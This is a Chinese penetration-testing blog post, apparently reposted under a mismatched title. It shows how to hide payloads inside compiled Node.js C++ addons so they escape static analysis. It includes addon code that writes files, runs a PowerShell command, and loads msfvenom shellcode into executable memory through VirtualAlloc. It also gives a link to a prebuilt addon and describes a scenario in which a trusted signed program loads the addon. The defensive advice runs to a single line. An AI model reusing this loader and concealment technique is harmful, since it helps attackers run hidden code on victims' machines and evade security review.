node 生产的env文件怎么注入_渗透测试中的Node.js——利用C++插件隐藏真实代码

c887c3979221b0ed971768032afad8dc.gif

e959813679485331277ebedc1ae479eb.png0x00 前言

在之前的文章《渗透测试中的Node.js——Downloader的实现》开源了一个使用Node.js实现Downloader的代码,简要分析在渗透测试中的利用思路。

Node.js的语法简单易懂,所以Node.js代码也很容易被分析。

为了增加Node.js代码被分析的难度,我的思路是利用Node.js的一个功能,将payload以C++插件的形式进行封装。

这样不但能够增加Node.js代码被分析的难度,而且可以用C++代码来实现payload,已有的C++代码经过简单的修改即可使用,减小二次开发的成本。

0x01 简介

本文将要介绍以下内容:

· C++插件简介

· 搭建C++插件的开发环境

· C++插件代码实例

· 利用思路

· 防御建议

56d15138131b733793ea6a95baf8a85e.png0x02 C++插件简介

Node.js C++插件是用C++编写的动态链接库,可以使用require()函数加载到Node.js中。利用V8提供的API,可以实现JavaScript和C++的互相调用,打通JavaScript和C++之间的接口。

官方文档:

https://nodejs.org/api/addons.html

使用实例:

1.编译成功一个C++插件,导出方法为:hello

2.使用Node.js调用C++插件导出方法的代码如下:

const addon = require('./addon.node');addon.hello();

3.执行代码

node.exe test.js

e959813679485331277ebedc1ae479eb.png0x03 搭建C++插件的开发环境

1、Windows开发环境

测试系统:Win7sp1 x64

需要安装以下工具:

· .NET Framework 4.5.1或更高版本

· Python 2.7

· Visual Studio 2015或更高版本

具体搭建流程如下:

1.安装.NET Framework 4.5.1

https://www.microsoft.com/en-US/download/details.aspx?id=5842

2.下载Node.js

https://nodejs.org/en/download/

3.使用Windows-Build-Tools自动安装依赖工具

https://github.com/felixrieseberg/windows-build-tools

cd c:\powershellnpm install --global windows-build-tools

如果安装失败,可选择手动安装以下工具:

· Python 2.7

· Visual Studio 2015或更高版本

4.安装node-gyp

https://github.com/nodejs/node-gyp

npm install -g node-gyp

2、Linux开发环境

wget https://nodejs.org/dist/v10.15.3/node-v10.15.3-linux-x64.tar.xztar xf node-v10.15.3-linux-x64.tar.xzcd node-v10.15.3-linux-x64cd binexport PATH=/root/node-v10.15.3-linux-x64/bin:$PATH./npm install -g node-gyp

注:需要添加环境变量指定node的位置(export PATH=/root/node-v10.15.3-linux-x64/bin:$PATH),否则在执行npm install会失败,提示/usr/bin/env: ‘node’: No such file or directory

实例演示:

1.hello.cc:

#include namespace demo {using v8::FunctionCallbackInfo;using v8::Isolate;using v8::Local;using v8::NewStringType;using v8::Object;using v8::String;using v8::Value;void Method(const FunctionCallbackInfo& args) {  Isolate* isolate = args.GetIsolate();  args.GetReturnValue().Set(String::NewFromUtf8(      isolate, "world", NewStringType::kNormal).ToLocalChecked());}void Initialize(Local exports) {  NODE_SET_METHOD(exports, "hello", Method);}NODE_MODULE(NODE_GYP_MODULE_NAME, Initialize)}  // namespace demo

2.binding.gyp

{  "targets": [    {      "target_name": "addon",      "sources": [ "hello.cc" ]    }  ]}

3.通过node-gyp编译,生成插件

node-gyp configurenode-gyp build

注:可以合并成一条命令:

node-gyp configure build

Node.js支持交叉编译,具体参数说明可参考:

https://www.npmjs.com/package/node-pre-gyp

Linux系统下生成Windows64位系统下使用的插件命令如下:

node-gyp configure build --target_arch=x64 --target_platform=win32

e959813679485331277ebedc1ae479eb.png0x04 C++插件代码实例

在开发时,最好避免出现if这种的条件判断语句,直接使用会导致编译错误。

1. 释放文件

#include #include namespace demo {using v8::FunctionCallbackInfo;using v8::Isolate;using v8::Local;using v8::Object;using v8::String;using v8::Value;void Method(const FunctionCallbackInfo& args) {FILE* fp;fopen_s(&fp, "new.txt", "ab+");char *buf = "123456";fwrite(buf, strlen(buf), 1, fp);fseek(fp, 0, SEEK_END);fclose(fp);}void init(Local exports) {NODE_SET_METHOD(exports, "hello", Method);}NODE_MODULE(NODE_GYP_MODULE_NAME, init)}

2. 执行命令:

#include namespace demo {using v8::FunctionCallbackInfo;using v8::Isolate;using v8::Local;using v8::Object;using v8::String;using v8::Value;void Method(const FunctionCallbackInfo& args) {system("powershell start calc.exe");}void init(Local exports) {NODE_SET_METHOD(exports, "hello", Method);}NODE_MODULE(NODE_GYP_MODULE_NAME, init)}

3.执行shellcode

生成shellcode:

msfvenom -p windows/x64/exec CMD=calc.exe -f c

加载shellcode并执行:

#include #include namespace demo {using v8::FunctionCallbackInfo;using v8::Isolate;using v8::Local;using v8::Object;using v8::String;using v8::Value;void Method(const FunctionCallbackInfo& args) {unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52""\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48""\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9""\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41""\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48""\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01""\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48""\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0""\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c""\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0""\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04""\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59""\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48""\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00""\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f""\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff""\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb""\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c""\x63\x2e\x65\x78\x65\x00";void *sc = VirtualAlloc(0, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(sc, shellcode, sizeof(shellcode));(*(int(*)()) sc)();}void init(Local exports) {NODE_SET_METHOD(exports, "hello", Method);}NODE_MODULE(NODE_GYP_MODULE_NAME, init)}

编译好的插件已上传至github,地址如下:

https://github.com/3gstudent/test/raw/master/addon.node

以上插件代码的导出方法均为hello,调用方式如下:

const addon = require('./addon.node');addon.hello();

0x05 利用思路

1、被第三方可信程序加载

参考:https://bbs.pediy.com/thread-249573.htm

t.exe->node.exe->main.js

main.js与addon.node放在同级目录,main.js的内容如下:

const addon = require('./addon.node');addon.hello();

addon.node的格式为dll文件,无法直接获得payload,增加静态分析的成本。

0x06 防御建议

对t.exe的子进程(node.exe)行为进行判断,如果有可疑行为进行拦截,取消对该证书的信任。

0x07 小结

本文介绍了Node.js中C++插件的用法,可以用来增加Node.js代码被分析的难度,最后分享了三个payload的写法。

dff28a7334366d2130e8ad07629f9a20.png

6fe9c411e3ef16afa00c6e8a1439eb38.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值